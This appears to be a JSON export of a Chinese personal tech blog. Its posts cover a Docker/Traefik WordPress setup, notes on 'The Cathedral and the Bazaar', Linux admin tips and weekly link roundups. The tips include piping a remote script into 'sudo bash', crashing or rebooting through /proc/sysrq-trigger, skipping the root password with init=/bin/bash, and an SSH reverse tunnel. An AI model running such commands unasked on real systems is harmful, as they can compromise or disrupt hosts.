\u0026#34;8080:80\u0026#34; - \u0026#34;8081:8080\u0026#34; volumes: - /var/run/docker.sock:/var/run/docker.sock networks: - traefik_default deploy: placement: constraints: - node.role == manager networks: traefik_default: 使用上面的配置，直接进行部署即可，一般没有什么大的问题。关键期方便的地方，可以进行热配置，直接通过对于服务的label的配置指定转发的规则。\n后面直接，再上我们的 docker-compose，进行wp-blog 的部署：\nversion: \u0026#39;3\u0026#39; services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD: ${MYSQL_DATABASE_PASSWORD} MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpress networks: - wp_network wordpress: image: wordpress:latest volumes: - wp_data:/var/www/html restart: always ports: - 80 environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpress WORDPRESS_CONFIG_EXTRA: | /* Multisite */ define(\u0026#39;WP_REDIS_HOST\u0026#39;, \u0026#39;redis\u0026#39;); define(\u0026#39;WP_REDIS_PORT\u0026#39;, \u0026#39;6379\u0026#39;); define(\u0026#39;WP_REDIS_DATABASE\u0026#39;, \u0026#39;0\u0026#39;); networks: - tfk_traefik_default - wp_network deploy: labels: traefik.frontend.rule: \u0026#34;Host:ray.i124u.cf\u0026#34; traefik.port: \u0026#34;80\u0026#34; traefik.docker.network: tfk_traefik_default traefik.frontend.passHostHeader: \u0026#34;true\u0026#34; traefik.frontend.whiteList.useXForwardedFor: \u0026#34;true\u0026#34; redis: image: redis restart: always networks: - wp_network networks: wp_network: tfk_traefik_default: external: true volumes: db_data: wp_data: 然后直接部署，问题就应该差不多了。\nHTTPS Mix-content 的解决 另外，这里胡乱的解决了一个前面很烦人的问题，就是使用这种方式的部署，wp的部分的静态资源是直接去请求 http 的站点的，最后会因为是 mix-content 最后被服务器的安全策略直接屏蔽了，导致各种的样式错误。\n上了云了，就不需要进行本地访问了，所以前面的通过在wp-config里面对 home和root 进行动态修改的操作就不需要了。直接硬编码即可。\n在配置文件里面有注意到这样的一个部分：\nif (isset($_SERVER[\u0026#39;HTTP_X_FORWARDED_PROTO\u0026#39;]) \u0026amp;\u0026amp; $_SERVER[\u0026#39;HTTP_X_FORWARDED_PROTO\u0026#39;] === \u0026#39;https\u0026#39;) { $_SERVER[\u0026#39;HTTPS\u0026#39;] = \u0026#39;on\u0026#39;; } 这里面是有一个 https 的宏的，需要一个 HTTP_X_FORWARDED_PROTO 的头才能将它置位，所以我们就直接在nginx 里面对其进行设置。\nlocation / { proxy_set_header Host $host; proxy_ignore_headers Set-Cookie Cache-Control; #这句代码很关键，尤其要忽略set-cookie proxy_set_header X-real-ip $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; # 《--这里 client_max_body_size 100m; proxy_pass http://127.0.0.1:xxxx; } 后面就是全站的 https 了，就不会再向http来拉取内容。\n配置站点多域名 由于路由和转发是在 traefik 上实现的，所以之于Nginx还是显得比较陌生，所以这里就试着来使用两个域名作为本站点的访问，在issue里面找到了和自己情况类似的内容，所以参考之\nDocker - 2 independant rules on same container 在我们的容器的label 里面直接配置：\ntraefik.port: \u0026#39;80\u0026#39; traefik.frontend.rule: \u0026#39;Host:ray.i124u.cf,blog.diglp.xyz\u0026#39; 就可以实现多个域名对应同一个容器了，使用 , 表示是规则的 或关系，使用 ; 表示是与关系。另外别忘了设置 proxy_set_header Host $host; 否则是无法正确路由的\n","date":"2019-05-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-03-%E5%8D%9A%E5%AE%A2%E6%90%AC%E5%AE%B6%E4%B8%8A%E4%BA%91%E5%95%A6/","tags":["docker","nginx","ops","wordpress"],"title":"博客搬家上云啦"},{"categories":["读本好书"],"contents":"前 我有幸和世界上一些最有趣，最杰出的人一起共事，一起去解决那些令人着迷的问题。\n他教导我：要尊重能力，要珍视和捍卫自由，特别是：昆虫才讲究技能专一\n这两句话，摘自这本书的序言。很好的两句话。\n简介 书名：《大教堂与集市》 作者： Eric·S·Raymond ISBN：9787111452478 Hackdom的的简史 （dom）的后缀有时候被音译为道，其意就是圈子的意思。\nLinux的最重要的特点并不是在技术上的，而是在社会学上。在其被开发出之前，人们都认为，如此系统需要一个精心协作的团队，其规模较小，且紧密互动。实际上的linux 选择了一个人们的志愿的开发方式，使用像是物竞天择的机制，来对功能进行取舍和改进，这种方式工作的让人吃惊的好。\n在1996年2月，为限制和阻止网上的部分内容对青少年和儿童的危害，克林顿签署了《通信合宜法》，很快 美国公民自由联盟（ACLU），以其侵害公民言论自由权利为由，对美国政府提起诉讼。1997年6月26日，最高院判定CDA违背美国宪法，并立即废止。\n大教堂与集市 绝大多数公司的商用的“大教堂模式”和linux采用的“集市模式”，其两种的根本不同点在于对软件排错的完全对立的认识。所以这里证明了一个命题（linus定律）：只要眼睛多，Bug容易捉。\n小工具，快速原型法，演化式编程 作为unix信条。\nLinus 的开发风格是：早发布，常发布，委托所有能委托的事情，开发到几乎混乱的程度，所有linux社区更像一个乱糟糟的大集市。linus总是说:\u0026ldquo;我基本上是一个很懒的人，别人做事，我得名誉\u0026rdquo;\n在大教堂的模式下，bug是棘手的，需要数个人月来发现和剔除问题，而越是这样发布间隔越长，如果最终等待的版本又并不完美，人们的失望就越发不可避免。\n系统的安全只取决于他的秘密，谨防虚假的秘密。\n书中多次提到了 brooks定律：\u0026ldquo;向落后进度的项目添加人手，只会使得项目更加落后\u0026rdquo;。因为项目的复杂度和人员是平方相关的。这样看来linux项目好像无法完成了。这里又提到了一点\u0026quot;无私编程\u0026quot;，和商业软件不同，开源软件的信息共享，带来了对开发者之间的互相激励。（在极限编XP（extreme programming）程里的结对编程也是很好的一个例子）。\n软件管理的五个功能：\n确保同方向努力\n监督确保关键细节不被遗漏\n激励人们去做乏味但是必要的“体力活”\n组织人员以获得最佳的生产力\n调配项目所需资源\n开源项目的动力，的在于这个问题本身的魅力激发了开发者的热情，这种激励效果比单纯的金钱是要有效的多的。\n书中提到，世界上的建筑可以分两种：一种是集市，天天开放在那里，从无到有，从小到大；还有一种是大教堂，几代人呕心沥血，几十年才能建成，投入使用。\n经典的商业软件就是我们的大教堂模式，开源软件就是集市的模式，Eric Raymond就问了一个问题，有没有可能用修建集市的方式，造出一所大教堂？\n答案是肯定的，并且，这个教堂已经十分宏伟壮丽了，linux作为典型的各种的开源工程现在已经是很可观的数量了。总结集市的软件开发模式。想了想总结以下几点\n- **只要眼睛多，Bug容易捉** ————linus定律 - **早发布，常发布** 缩短周期，使得新的特性的融入以及看得到的变化 - **egoboo**————指的是做志愿活动得到的满足感，使用社区的力量使得开发者们易于驱动。（对违背Brooks定律的解释 ） - **马其诺防线**————商业管理往往是防守的，不如自我组织 开垦心智层 这里，感觉是深入了人们的心理，来分析黑客（开源）文化中的特点。\nLockean财产权理论仅仅产生保卫成本的地方。把软件项目比作一块农田，谁耕种和维护那么其所有权便是谁的。\n在使用Lockean的逻辑理解，开源黑客之所以遵循这些传统，为了保卫其劳动付出的某种预期回报，理解来可以是自己种过的麦田。类比为维护自己项目的冲动。\n人类组织模式：这里比较有意思，\n大多数的人类组织模式都是为了适应稀缺和匮乏，每种模式有其不同的社会获取途径。\n命令体系 稀缺物品被中心化的权力分配并以武力为后盾。拓展性差，规模大了问题就大了，社会地位取决于强制力量的使用（政府，军队） 交换经济 延展性很好，稀缺物的流动取决于贸易和自由合作。在这种模式下社会地位取决于你的资源占有量 上面两种都是对物质稀缺的适应，下面的是对物质充裕的适应，充裕性会使得命令关系难以维持，会是交换关系变成无意义的游戏。在礼物文化中，社会地位不取决于你控制了什么，而是取决于你给予了什么。\n礼物文换 所以，才会有散财宴，才会有千万富翁的精心准备的公开的慈善行为，才会有黑客编写高质量开源代码的不懈努力。 有了上的几点，可以很容易的看出开源就是一种礼物文化。没有非常稀缺的生活必需品，（磁盘，带宽，计算能力）；软件自由共享，那么物质充裕导致了礼物文化。\n书中其他内容 其实最后把这五种语言（Python，Java， C/C++， Perl和LISP）都学了。他们不只是最重要的黑客语言，还代表着截然不同的编程方法。\n后 随手翻翻这本书，感觉自己有了些妙不可言的感觉。直言，笔者对黑客文化是十分向往的，也希望自己会是在这个魔法锅中的一员。 对 hack 这个词，从之前的知识感性上的很酷，到了现在的更加深入的理解。这便是一种文化吧，一种圈子。书中，从原理级的挖掘了，开源文化之所以那么生机勃勃的原因，文章在1997年5月27日发表，正如其所言的，现在便是开源的天下！\n所表达出来的价值观，类似于中世纪欧洲骑士时代精英团体所宣称的理想（通常总是无法实现），这些社会精英有足够的财力超脱于所处的稀缺经济。像人们期望的那样，一个有抱负的骑士为正义而战，他追求荣誉而非获取钱财，他站在弱势和受压迫者一边，不断寻求机会挑战自己英勇才能的极限。也正因如此，他会认为自己（并被别人认为）是人中翘楚——前提是他的能力和品行已获得其他骑士的承认和正式认可。在亚瑟王传奇（Arthurian tales）和武功歌（chansons de geste）所颂扬的骑士精神中，我们看到了理想主义、对自我的不断挑战和对地位的追求，这与当今激励黑客的要素是类似的。\n一篇书评 ","date":"2019-05-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/05/2019-05-02-%E8%AF%BB%E6%9C%AC%E5%A5%BD%E4%B9%A6%E5%A4%A7%E6%95%99%E5%A0%82%E4%B8%8E%E9%9B%86%E5%B8%82/","tags":["软件工程"],"title":"读本好书《大教堂与集市》"},{"categories":["op之路"],"contents":"前 这里主要收集一些不是那么常用，但是一用起来就很麻烦的一些小trick\n清除删除的文件空间 sudo find /proc/*/fd -ls | grep \u0026#39;(deleted)\u0026#39; cat /dev/null \u0026gt; ${filename} \u0026gt; ${filename} 单IP限制每分钟连接数 使用 iptable 来进行单IP的每分钟最大的连接次数限制\niptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 5 --name SSH --rsource -j DROP iptables -A INPUT -p tcp --dport 22 -m recent --set --name SSH --rsource -j ACCEPT Screen 会话共享 # A会话 screen -S test # B 会话 scree -x 可以实现两个会话共享一个 screen\nsysrq-trigger 一个“危险的”调试入口\n# 立即重新启动计算机 echo \u0026#34;b\u0026#34; \u0026gt; /proc/sysrq-trigger # 立即关闭计算机 echo \u0026#34;o\u0026#34; \u0026gt; /proc/sysrq-trigger # 导出内存分配的信息 （可以用/var/log/message 查看） echo \u0026#34;m\u0026#34; \u0026gt; /proc/sysrq-trigger # 导出当前CPU寄存器信息和标志位的信息 echo \u0026#34;p\u0026#34; \u0026gt; /proc/sysrq-trigger # 导出线程状态信息 echo \u0026#34;t\u0026#34; \u0026gt; /proc/sysrq-trigger # 故意让系统崩溃 echo \u0026#34;c\u0026#34; \u0026gt; /proc/sysrq-trigger # 立即重新挂载所有的文件系统 echo \u0026#34;s\u0026#34; \u0026gt; /proc/sysrq-trigger # 立即重新挂载所有的文件系统为只读 echo \u0026#34;u\u0026#34; \u0026gt; /proc/sysrq-trigger 修改上一条命令 如果修改上一条命令，但是太难调整光标怎么办？试试fc吧\n快速100% cat /dev/zero | md5sum 终端命令发送 write root # 用户组 wrtie root pts/1 # 指定会话 wall \u0026#34;test\u0026#34; # 通知所有人 快速查看当前硬件架构 arch x86_64 进程优先级的设置 top 的第三列PR 表示当前进程的优先级，越小，那么资源会被越优先进行调度。priority = PR+NI\n进程优先级体现在 nice值 的设置上面，使用 top命令可以看到第四列就是的NI就是指得是我们的进程优先级调整参数，为负数提升优先级，反之降低优先级，使用r，输入PID来进行进程nice 的重新指定。\n或者， nice eg：\nnice [OPTION] [COMMAND [ARG]...] nice -5 ls 或者使用 renice\nrenice [-n] priority [-gpu] identifier... renice -5 -p 1234 网络路由指定 route add -net 192.168.62.0 netmask 255.255.255.0 gw 192.168.1.1 route del -net 192.168.122.0 netmask 255.255.255.0 指定网络号和其指定的路由网关\niptables 的备份和恢复 iptables-save \u0026gt; /opt/iptables.txt ###备份所有表的规则 iptables-restore \u0026lt; /opt/iptables.txt # 对iptables\u0026#39;的规则进行恢复 原来iptables重启，没有保存的规则会丢失。。。。\n命令实现简单的发包 Linux的天然的网络特性可以实现简单的IP发包\n# UDP echo \u0026#34;test\u0026#34; \u0026gt; /dev/udp/127.0.0.1/8888 # TCP echo \u0026#34;test\u0026#34; \u0026gt; /dev/tcp/127.0.0.1/8080 简单的命令实现 基本的传输层的发包操作，简单易得\n已删除单空间未释放 文件已删除，但是空间没有释放\nlosf| grep deleted 因为使用这个文件的服务还没有停止，文件句柄是无法释放的。\nsar 查看性能历史统计 查看历史的性能数据，CPU，IO，network\nsar -p # CPU sar -d # disk sar -b # 所有块设备 sar -n \u0026lt;DEV,SOCK,FULL,EDEV\u0026gt; TIPs 使用-d 参数得到的是 dev8-240，怎么和 sd*来进行对应呢？ A：这里的 8 和 16 指的是主设备号和次设备号，一一对应即可\n[rms@123 /]$ ls -l /dev/sd* brw-rw---- 1 root disk 8, 0 Sep 22 14:34 /dev/sda brw-rw---- 1 root disk 8, 1 Sep 22 14:34 /dev/sda1 brw-rw---- 1 root disk 8, 2 Sep 22 14:34 /dev/sda2 brw-rw---- 1 root disk 8, 3 Sep 22 14:34 /dev/sda3 brw-rw---- 1 root disk 8, 4 Sep 22 14:34 /dev/sda4 brw-rw---- 1 root disk 8, 16 Jul 18 15:21 /dev/sdb brw-rw---- 1 root disk 8, 17 Jul 18 15:21 /dev/sdb1 GZ的流解压 在查看nginx的日志的时候，其默认的配置是对历史的日志文件进行 gzip 的压缩。查看日志的时候，需要指定流解压\ncat /var/log/nginx/error.*.gz | gzip -d 查看电池状态 $ upower -i /org/freedesktop/UPower/devices/battery_BAT0 benchmark工具 sudo curl -fsSL https://ilemonrain.com/download/shell/LemonBench.sh | sudo bash -s fast 很全面的benchmark的脚本，测试整机的性能。\njournalctl 分级查看日志 u 指定服务 p 指定等级（1-8） -f follow滚动 使用strace来排查问题 使用strace 来进行进程的性能排查\nstrace -c -T -tt -o out.txt -p pid 该命令会收集进程的系统调用，排查性能问题。\n解决自动补全 有些时候用起来bash发现竟然不能自动补全，一想这功能应该随时带的有啊。实际上这个是bash 一个插件，有些时候是没有被安装的。所以这里给出一键安装的命令，安装 bash—completion 即可：\nyum install bash-completion 查看当前的动态库的链接情况 ldconfig -p | grep pcap #ldconfig -p:打印当前缓存所保存的所有库的名字。 #grep pcap:用管道符解析libpcap.so是否已加入缓存中。 使用上面的方法可以很好的查看所有的已经配置了的连接库\n同样的使用ldd可以查看二进制文件所需要的链接库\nldd a.out SHELL中实现串口通信 liunx 里面一切皆文件，所以之间对串口的操作是十分方便的。先需要对串口进行配置，使用stty\n在LINUX下首先需要检测串行口驱动是否正常，而串行口设备一般为_/dev/ttyS_,如果是USB转串行口的，则为_/dev/ttyUSB_，\n使用命令来进行串口的参数配置，\nsudo stty -F /dev/ttyUSB0 raw speed 9600 cs8 -parenb -cstopb cread clocal # -F /dev/ttyUSB0 使用-F可以指定设备名 # raw 这是一组设置的组合体,详情可man stty # speed 9600 指定波特率 # cs8 指定数据位 # -parenb 无奇偶效检 # -cstopb 1停止位(如果为2位，则为cstopb) # cread 允许输入能够接收 # clocal 禁止调制解调器的控制信号(不明) sudo cat /dev/ttyUSB0 sudo echo asd \u0026gt; /dev/ttyS0 # 来发送十六进制的数据 sudo echo -en \u0026#34;\\x80\\x123\\x8F\u0026#34; \u0026gt; /dev/ttyS0 双网卡时候添加路由 在树莓派的双网卡配置的时候，很容易出现上不了网的情况，因为流量都到另一个接口了，所以添加正确的路由即可：\nsudo route add default gw 192.168.0.1 #192.168.0.1默认的网关的地址 使用 watch 命令 watch 这个工具可以帮助我们定时的执行一个命令并且返回结果，就像我们的top一样，watch 的命令是普适的，可以实现对与命令的执行并且进行内容的刷新。\nscreen 来保存会话以及 shell 的分屏 screen -S \u0026lt;\u0026gt; 开始一个新的会话 screen -r \u0026lt;\u0026gt; 恢复一个会话 统计开机时的服务加载时间 用于开机缓慢的时候进行的排除，是之前看书里遇到的。这里有用到了就再记录一下。用来分析启动时间的systemd-analyze\nsystemd-analyze blame 列出所有的服务启动时间 systemd-analyze plot \u0026gt; img.svg # 打印出矢量图 journalctl -u -f [servicename] 查看服务的日志。 使用SSH的反向隧道 很多时候需要内网穿透，用到Ngork 或者 frp ，殊不知使用SSH也可以很容易的实现端口的隧道。\nssh -p 22 -qngfNT -R 6766:localhost:22 usera@a.site 使用dpkg来查看所有的包大小并排序 dpkg-query -W --showformat=\u0026#39;${Installed-Size} ${Package} ${Status}\\n\u0026#39;|grep -v deinstall|sort -n|awk \u0026#39;{print $1\u0026#34; \u0026#34;$2}\u0026#39; 解决so依赖问题 有些时候一些应用跑不起来，由于缺运行库的原因，一般使用 ldd 来查看二进制文件所需要的so依赖是否满足，如果显示有 not found，那么一般就是直接安装对于的lib即可。\n但是在一些情况下，so的版本各异，所以有的时候需要自己来手动的添加对应的版本的链接。使用sudo ldconfig -v来刷新以及来列出目前的所有的so文件。来根据需要进行排查，并可以使用 |less 来找到so文件的所在路径。\n递归计算目录的所有文件的哈希 对当前目录的所有文件得到一个统一的哈希，用于进行整体的文件校验：\nfind path/to/folder -type f -print0 | sort -z | xargs -0 sha1sum | sha1sum ","date":"2019-04-29T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-29-linux-hacks/","tags":["linux","misc","ops"],"title":"Linux Hacks"},{"categories":["每周分享"],"contents":"前 Overdue 和质量的日渐低下，这个慢慢的还是别看了。觉得自己有很大的摆动，有时候并不是一个所谓的有趣的人，甚至不想去看资讯。 看新的咨询的确是一件很酷的事情，可是最近的时候，自己不知为何看到 RSS 上面的红色气泡到开始下意识地回避了。难过难过\n事件 本周的头条事件，B站后台源码泄露 周一中午十二点的的时候，这样一份神奇的代码就突然的被 po 在了github上， 代码里面有各种各样的神奇的程序员的怨念，和各种各样有趣的注释。但是，当一个公司的最核心的东西这样的被公之于世的时候，有太多太多的秘密，就这样被发掘了出来。一个企业对用户的来回套路。这东西是一个对用户不能说的东西，但它又是一个行业的共识。这样的代码被公开审阅，真的很可怕\n句子 他说，世界上的建筑可以分两种：一种是集市，天天开放在那里，从无到有，从小到大；还有一种是大教堂，几代人呕心沥血，几十年才能建成，投入使用。 当你新建一座建筑时，你可以采用集市的模式，也可以采用大教堂的模式。一般来说，集市的特点是开放式建设、成本低、周期短、品质平庸；大教堂的特点是封闭式建设、成本高、周期长、品质优异。 Eric Raymond就问了一个问题，有没有可能用修建集市的方式，造出一所大教堂？\n你写下的每一个bug，都是人类反抗被人工智能统治的一颗子弹\nPICKS WikiHow 一个什么都知道的网站，各种各样的生活技巧，统统都有解\n知道创宇研发技能表v2.2 作为一个知识导向地图吧，知道自己会些什么或者将要会些什么。\nCodeWar\nleetspeak\n关于我国的货币政策\nTECH 比特币的python简易实现\n使用 Docker 和 Traefik 搭建 WordPress（Nginx）\nGitHub里面常见的缩写\n普通人的网页配色方案\n测试驱动开发\n由极限编程中倡导，以其倡导先写测试程序，然后编码实现其功能得名\n测试驱动开发是戴两顶帽子思考的开发方式：先戴上实现功能的帽子，在测试的辅助下，快速实现其功能；再戴上重构的帽子，在测试的保护下，通过去除冗余的代码，提高代码质量。测试驱动着整个开发过程：首先，驱动代码的设计和功能的实现；其后，驱动代码的再设计和重构。\nC++ STL快速入门（非常详细）\nQT 的信号与槽机制介绍 ——IBM\n在SHELL 中实现串口的读写\nfriendLink ice1000's blog 苏洋博客 一个主要是Dokcer的blog ","date":"2019-04-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-28-weekly-5/","tags":null,"title":"weekly.5"},{"categories":null,"contents":"数组的优雅排序和拼接 \u0026amp;#039;\u0026amp;#039;.join(sorted(str(num), reverse=True)) 快速进制转换 int(\u0026amp;quot;\u0026amp;quot;.join(map(str, arr)), 2) reduce 的练习 def namelist(names): name_list = [i for x in names for i in x.values()] return \u0026amp;#039;\u0026amp;#039; if name_list == [] else reduce(lambda x,y: x+\u0026amp;#039;, \u0026amp;#039;+y if y!=name_list[-1] else x+\u0026amp;#039; \u0026amp;amp; \u0026amp;#039;+y, name_list) ","date":"2019-04-24T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-24-codewar/","tags":null,"title":"CodeWar"},{"categories":["读本好书"],"contents":"简介 书名:《Linux Server Hacker》 作者: Rob·Flickenger ISBN: 9787302071693 书里面的Hack，那时候是一个很cool 的词，再现在更应该被理解为 hackable。可能是风格问题吧，这本书拿起来随手翻翻，内容很是精彩。\n文章以一篇 《如何成为一名黑客》，这篇文章也是相当的经典。\n世界上有很多待解决的迷人的人问题 任何事情没有必要重复解决 厌倦和苦干都是大忌 自由至上 态度并不能代表能力 保持激情，善假于物，消息共享，自动化，自由至上，敏锐的思维。\n文章来自于 《what is a hacker》，在前言的部分有提到《New Hacker\u0026rsquo;s Dictionary》以及著名的《Cathedral and the Bazaar》，这两本书要看看了。\n书里有很多的，很Hack 的方法，看，看到之后，受益匪浅。\n服务器基础 绕过控制台登陆 在忘了密码的这个情况下，是相当有用的方法。传统的方法是重启进入单用户模式，在启动的时候使用组合键Ctrl+Alt+Delete 之后，进入 LILO（或者GRUB） 的命令行中，使用命令 linux single 来传递给内核参数，进入 root shell。\n但是在一般安全性较高的系统里面，如 商用 Redhat 里面是需要 root密码。这里就可以通过修改 LILO（GRUB） 的启动参数。修改内容如下 linux init=/bin/bash。指定不启动 init 而直接启动 bash。这样就可以进入 bash 而不需要密码了。\n不过问题在于，由于没有 init 的运行，所以文件系统没有经过检查，默认的都会被设置为只读的类型。所以需要对文件系统就进行重新的挂载，使用命令 mount -o remount,rw /来进行操作。\n此外，在关机的时候，是无法使用常规方式的，因为没有 init 进程的存在，所以是无法使用 init 0 来进行正常关机的。所以这里需要把文件系统挂载只读，之后放心的关机。mount -o remount,ro /\n常用的引导参数 在GRUB的启动参数中，有很多可以可用参数，进行设置。 参数 说明 single 单用户模式启动 root= 设置被挂载为/的设备 console= 可以设置内核使用串口控制台。 ro 使/分区为只读 init=/bin/bash rw 指定启动的 使用 init 来持续创建可执行后台 由于书里面的东西比较老了已经，现在常常使用的是 注册服务的形式了， 在书中写道，/etc/inittab 里面来对一个进程继续注册。使用 kill -HUP 1 来向init进程发信号，使得其重载配置任务。\n交换标准输入输出 这个小技巧是经常用到的，比如 2\u0026gt;\u0026amp;1 就是将标准错误重定向到 标准输出。那么这里如何去进行交互呢，一样的这里需要一个中间变量，\ncommand 3\u0026amp;gt;\u0026amp;amp;2 2\u0026amp;gt;\u0026amp;amp;1 1\u0026amp;gt;\u0026amp;amp;3 | ... 更机智的命令行操作 grep \u0026#34;file\u0026#34; error_log | awk \u0026#39;{print $13}\u0026#39; | sort | uniq | less for x in \u0026lt;code\u0026gt;seq 10\u0026lt;/code\u0026gt;; do echo $x echo $x|tr -d \u0026#39;1\u0026#39; echo $x | xargs echo done ext2/ext3 系统保护文件 设置 root 对无法删除的文件，实现系统的文件保护。比如：\ncp /dev/null tmp.txt 这样创建的的文件无法被删除。\n通过 lsattr 的命令来查看文件属性，通过 chattr 来了改变文件附加属性，chmod 是改变文件标准属性。使用 chattr +i \u0026lt;file\u0026gt; 来实现写文件的系统保护位。\n属性Shell的环境变量使得bash更加舒适 PS1 是默认的系统提示符 PROMPT_COMMAND 是在bash开始交互之前显示的内容 export IGNOREEOF=2 忽略连续的两个^D export PATH=$PATH:~/bin 实现PATH的拓展 使用 sudo 使工作更高效 编辑 /usr/sbin/visudo 来管理sodo 的用户列表，使用 使用 sudo -u 来执行其他用户的操作，比如启动 web 服务器。\n查看每个文件的空间占用 alias ducks=\u0026amp;#039;du -cks * | sort -rn| head -11\u0026amp;#039; 好玩的 /proc 在前面看内核的时候指定，proc 是linux 的给出了来的系统的调试接口，里面有着各种各样的好玩的东西，不过谨慎操作，很容易可以 down 掉系统。\n在 proc 里面的数字对应着PID，，文件和其他部分是内核运行的驱动程序，计数器等。eg:cat version 就是查看内核的版本。ls -l kcore 的大小就是我们的内核的\n在这里 面探索每个进程的数据，是比较有有趣的。\n➜ ~ sudo ls /proc/11636 -l total 0 dr-xr-xr-x 2 root root 0 Apr 23 09:45 attr -r-------- 1 root root 0 Apr 23 09:45 auxv -r--r--r-- 1 root root 0 Mar 26 13:46 cgroup --w------- 1 root root 0 Apr 23 09:45 clear_refs -r--r--r-- 1 root root 0 Mar 26 13:46 cmdline -rw-r--r-- 1 root root 0 Mar 26 13:46 comm -rw-r--r-- 1 root root 0 Apr 23 09:45 coredump_filter -r--r--r-- 1 root root 0 Apr 23 09:45 cpuset lrwxrwxrwx 1 root root 0 Apr 23 09:45 cwd -\u0026gt; / -r-------- 1 root root 0 Apr 23 09:45 environ lrwxrwxrwx 1 root root 0 Mar 26 13:46 exe -\u0026gt; /usr/sbin/NetworkManager ... 这里面有三个比较有趣的软链，cwd，exe，root 分别是 ：\n进程的当前目录 当前进程的可执行文件 指的是该进程用户的 root目录 cmdline，environ 指的是：\n最开始调用的时候的命令行 和进程的环境变量， procps 符号化的进程控制 使用名称而不是 PID 来向进程发送信号。如果经常使用 ps awux | grep 这种命令来查找杀死的PID，那么就需要考虑其他的方法。\n最著名的工具包是 procps，有\nskill，名称，用户，PID，向进程发送信号 pkill， pgrep，输出名称相同的进程PID vmstat 显示虚拟内存的信息，和CPU信息。 清理门户 在用户离开之后来清理门户。对旧用户锁定账户。\npasswd -l luser chsh -s /bin/true luser 上面的两种方式的锁定账户的方法，一个是锁定，一个是是其立即返回登出。\n版本控制 这里解释了 RCS 和 CVS 着两种工具，不过现在有更好的 git 来实现版本控制了，这里主要看看内容。\n备份 使用tar进行打包备份 使用 tar 和 ssh 来进行备份传输，使用bash 的流命令来实现。\ntar zcvf - /var/home | ssh admin \u0026amp;quot;cat \u0026amp;gt; backup\u0026amp;quot; #甚至直接可以写到磁盘中 tar zcvf - /var/named/data | ssh admin \u0026amp;quot;cat \u0026amp;gt; /dev/sda\u0026amp;quot; rsync 实现备份 rsync -ave ssh bcnu:/home/ftp/pub/ /home/ftp/pub/ 这样实现源端到本地的文件同步。当两个系统之间的差异很小的时候，rsync将快很多\n网络 十秒钟使用 NAT 来伪装 IP 在网关上使用 IP 伪装技术，来实现一级NAT 的保护，使用 IPtable 来实现。\necho 1 \u0026amp;gt; /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -o $EXT_IFACE -j MASQUERADE $EXT_IFACE 这里是自己定义的外部网络接口\niptable 的提示和技巧 rinetd 这里是一个常用的端口转发的工具，实现端口的转发\n使非本地服务看上去是来自本地端口\nIP隧道 和 VPN 类似，但是不同。通过 IP隧道协议有 ipip 和 GRE。\n监控 监控分级 使用fifo来实现，配置如下：\nmkfifo -m 0664 /var/log/debug # 修改 syslog.conf *.debug | /var/log/debug watch 监控信息 使用 ps 来看运行了哪些进程，如果需要重复的操作的话，这里就要使用 watch 来进行了，使用方法如下：\n➜ ~ watch \u0026#39;ps\u0026#39; Every 2.0s: ps linaro-alip: Tue Apr 23 14:42:06 2019 PID TTY TIME CMD 20816 pts/0 00:00:00 sudo 20820 pts/0 00:00:01 zsh 23065 pts/0 00:00:00 watch 23066 pts/0 00:00:00 watch 23067 pts/0 00:00:00 sh 23068 pts/0 00:00:00 ps 执行之后每两秒对内容进行刷新。\n查看端口对应进程 使用命令 netstat -lnp来查看每个开端口的进程。\nlsof 查看打开的文件和套接字 linux 一切皆文件，所以我们可以这样来实现losf来查看文件和网络等。\n当我们尝试 umount 一个设备的时候得到了busy。就可以之间使用 losf \u0026lt;file\u0026gt; 来查看占用该文件或者该文件夹的进程。 使用 lsof -p \u0026lt;PID\u0026gt; 查看此进程打开的所有的文件。 或者使用 lsof -c \u0026lt;process_name\u0026gt; lsof -i:80 查看80端口的进程 后面的话 刻苦的工作与奉献精神会导演一场狂热的演出，而不是一键苦差事。\n","date":"2019-04-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/04/2019-04-23-%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0linux-server-hacker/","tags":["book","linux","ops"],"title":"读书笔记《Linux Server Hacker》"},{"categories":["每周分享"],"contents":"前面的话 发现，看似一星期一个发布的小小目标。一次又一次的 Overdue 了。看似一周很长，其实过起来可快了。\n最后也慢慢发现，不是不想写点东西，是真的写不出，自己心中所想写的东西。到最后反应出来的就是明显的产能不足了。\n也可以看出来，这个星期好像没留下点什么就过去了，（如果没遇上什么让自己精进的内容）那么这一周，也就好似未有存在把\n句子 有没有尝试过单脚站立，然后闭上双眼，看看自己能顶多久？然后睁开双眼再单脚站立，再看看能顶多久。你会发现，睁着双眼的时候你可以站很久很久，但闭上双眼的时候你却很快就东倒西歪了，并且会莫名的恐慌。\n在所有被误导的科学探索中,最悲惨的莫过于对一种能够将一般金属变成金子的物质, 即点金石的研究。这个由统治者不断地投入金钱,被一代代的研究者不懈追求的、炼金术中 至高无上的法宝,是一种从理想化想象和普遍假设中——以为事情会像我们所认为的那样— —提取出的精华。它是人类纯粹信仰的体现,人们花费了大量的时间和精力来认可和接受这 个无法解决的问题。即使被证明是不存在,那种寻找出路和希望能一劳永逸的愿望,依然十 分的强烈。而我们中的绝大多数总是很同情这些明知不可为而为之的人,因此它们总是得以 延续。所以,将圆形变方的论文被发表,恢复脱发的洗液被研制和出售,提高软件生产率的 方法被提出并成功地推销。 ————《人月神话》\n文章 标点符号的英文名称 来背单词了，一些常见的符号对应的词汇\n！ exclamation mark 惊叹号 ？ question mark 问号 - hyphen 连字符 * asterisk 星号 